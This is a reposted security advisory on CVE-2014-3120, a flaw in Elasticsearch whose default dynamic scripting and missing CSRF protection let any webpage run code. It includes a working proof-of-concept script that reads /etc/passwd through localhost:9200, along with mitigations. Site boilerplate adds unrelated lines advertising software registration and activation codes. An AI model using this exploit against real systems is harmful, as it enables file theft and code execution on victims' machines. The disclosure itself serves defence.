Insecure default in Elasticsearch enables remote code execution

Insecure default in Elasticsearch enables remote code execution

大家好,又见面了,我是全栈君,今天给大家准备了Idea注册码。

Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to execute arbitrary code on visitors with Elasticsearch installed. If you’re running Elasticsearch in development please read the instructions on how to secure your machine. Elasticsearch version 1.2 (which is unreleased as of writing) is not vulnerable to remote code execution, but still has some security concerns.

The problem(s)

There are a couple of problems which enable the proof of concept I’m going to present:

  • Elasticsearch has no access roles or authentication mechanism. This means that you have full control over a cluster the moment you connect to it.
  • The API for Elasticsearch is accessible over HTTP and provides no CSRF protection whatsoever.
  • It contains a feature which makes it possible to evaluate expressions as part of a query. An example usage of this feature is to specify a custom scoring function while searching through documents. It uses the MVEL language by default.
  • Up to version 1.2 dynamic scripting (which makes it possible to send scripts to the cluster on the fly) was enabled by default. As mentioned in the documentation, this feature gives someone the same priviliges as the user that runs Elasticsearch. MVEL has no sandboxing at all.

There are no issues up to this point as long as you properly follow the documentation and make sure your Elasticsearch cluster is not available from the outside world. There is one target that isn’t mentioned in the documentation though: The Developer! When you’re developing an application that uses Elasticsearch, you probably have it running on your machine. The default port is 9200 and because there is no CSRF protection any webpage can just connect to the cluster using localhost:9200 as the host.

PoC

The following script will read /etc/hosts and /etc/passwd from a user visiting a webpage and display the contents in the browser.

read_file = (filename) ->
  """
 import java.io.File;
 import java.util.Scanner;
 new Scanner(new File("#{filename}")).useDelimiter("\\\\Z").next();
 """

# This PoC assumes that there is at least one document stored in Elasticsearch, there are ways around that though
$ ->
  payload = {
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {}
  }

  for filename in ["/etc/hosts", "/etc/passwd"]
    payload["script_fields"][filename] = {"script": read_file(filename)}

  $.getJSON "http://localhost:9200/_search?source=#{encodeURIComponent(JSON.stringify(payload))}&callback=?", (data) ->
    console.log(data)
    for hit in data["hits"]["hits"]
      for filename, contents of hit["fields"]
        document.write("<h2>#{filename}</h2>")
        for content in contents
          document.write("<pre>" + content + "</pre>")
        document.write("<hr>")

You can verify whether you’re vulnerable by trying out the above PoC here.

There are many ways to exploit this, you could link the victim to the page or embed it as an Iframe. You can even exploit this by crafting a URL and using it as the src of an <img>, as the only thing that needs to happen is a single GET request. No user interaction required!

Because this is so easily exploitable you can mass-pwn developers with relatively little work.

How to secure against this vulnerability

Add the following line to your elasticsearch.yml to disable dynamic scripting and prevent remote code execution:

script.disable_dynamic: true

You should also make sure that your local Elasticsearch instance is only binding onlocalhost, as someone could exploit you over LAN without making you visit a webpage if you don’t. The Homebrew Elasticsearch formula does this automatically. This still means you’re vulnerable to the CSRF exploit though!

If you want to be as secure as possible, you should run Elasticsearch inside a virtual machine, to make sure it has no access to the hosting machine at all.

Additional targets

Disabling scripting will prevent code execution, but that still leaves us with the issue of being able to query and administer the instance without limit. A webpage can easily dump the whole database running on your machine, sensitive data included. This is impossible to fix by the Elasticsearch developers without adding authentication or CSRF protection.

If an attacker can figure out the internal address of your production Elasticsearch instance, you’re also open to leaking your production data. If your development machine is connected to a VPN which provides access to your Elasticsearch cluster, an attacker can easily query or shut down your cluster simply by making you visit a webpage.

Hackernews

Reddit

Notes

  • I have reserved CVE-2014-3120 for this issue.
  • This exploit was tested against Elasticsearch version 1.1.1 on MacOSX installed through Homebrew. No configuration changes were made.
  • I notified Elasticsearch through their security report instructions on the 26th of April 2014. They replied they were aware of it, but didn’t intend to do a security release and instead disable dynamic scripting by default in version 1.2.
  • This security issue has been indepently discovered and blogged about on December 9th 2013.
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/117522.html原文链接:https://javaforall.net

(0)
上一篇 2022年1月4日 下午12:00
下一篇 2022年1月4日 下午1:00


相关推荐

  • 四叉树的C++实现

    四叉树的C++实现数据结构抽象数据类型定义如下 ADTQuadTrees 数据对象 D D 是具有相同性质的具有二维结构的数据元素的集合 本实验为坐标数据 数据关系 R 若 D 为空集 则称为空树 若 D 仅含有一个数据元素 则 R 为空集 否则 R H H 是如下二元关系 1 在 D 中存在唯一的元素 root 它在关系 H 下无父节点 2 D 中任意元素 d 将其子节点划分为四个象限 将

    2026年3月17日
    2
  • pycharm 2021.11激活码【2021最新】

    (pycharm 2021.11激活码)2021最新分享一个能用的的激活码出来,希望能帮到需要激活的朋友。目前这个是能用的,但是用的人多了之后也会失效,会不定时更新的,大家持续关注此网站~IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.net/100143.html…

    2022年3月29日
    63
  • GPT4.1的访问入口以及GPT4.1和GPT4.1 mini、nano的几种使用方式

    GPT4.1的访问入口以及GPT4.1和GPT4.1 mini、nano的几种使用方式

    2026年3月16日
    2
  • Ajax 模糊查询的简单实现[通俗易懂]

    Ajax 模糊查询的简单实现[通俗易懂]类似于百度的搜索引擎模糊查询功能,不过百度的模糊查询功能更强大,这里简单实现下.要实现模糊查询,首先要做的就是把SQL写好。话不多少,直接贴代码了!JSP页面:<%Stringpath=request.getContextPath();StringbasePath=request.getScheme()+"://"+request.getServerName()+":

    2022年5月29日
    122
  • 双曲函数奇偶性_[快乐数学]双曲函数(二)

    双曲函数奇偶性_[快乐数学]双曲函数(二)一咬牙 一狠心还是决定把双曲函数的性质给讲了 1 奇偶性先一个一个慢慢捋 从最基本的几个性质开始 本期只研究 y sinhx 和 y coshx 两个函数 如无特殊说明 以下所有内容自变量的定义域均为全体实数 研究函数要先从定义域开始研究 f x sinhx 定义域为 R 值域也为 Rf x coshx 定义域为 R 值域也为 R 下面研究函数的奇偶性双曲正弦是奇函数 正弦函数也是奇函数 这是双曲正弦的图像因为 si

    2026年1月25日
    2
  • 国外网页设计网站推荐_十大国外设计网站

    国外网页设计网站推荐_十大国外设计网站  国内的大学网站都设计得千篇一律,古老的表格式框架布局,直来直去的排版,还有悲剧的是好多大学的网址只能在IE中浏览,其它浏览器里就错乱了。今天这篇文章和大家分享20个国外大学网站设计欣赏,其实大学网站一样可以设计得很艺术,很精美。BiolaUndergradBatesCollegeMiddleburyCollegeWarnerPacificColleg…

    2025年5月26日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号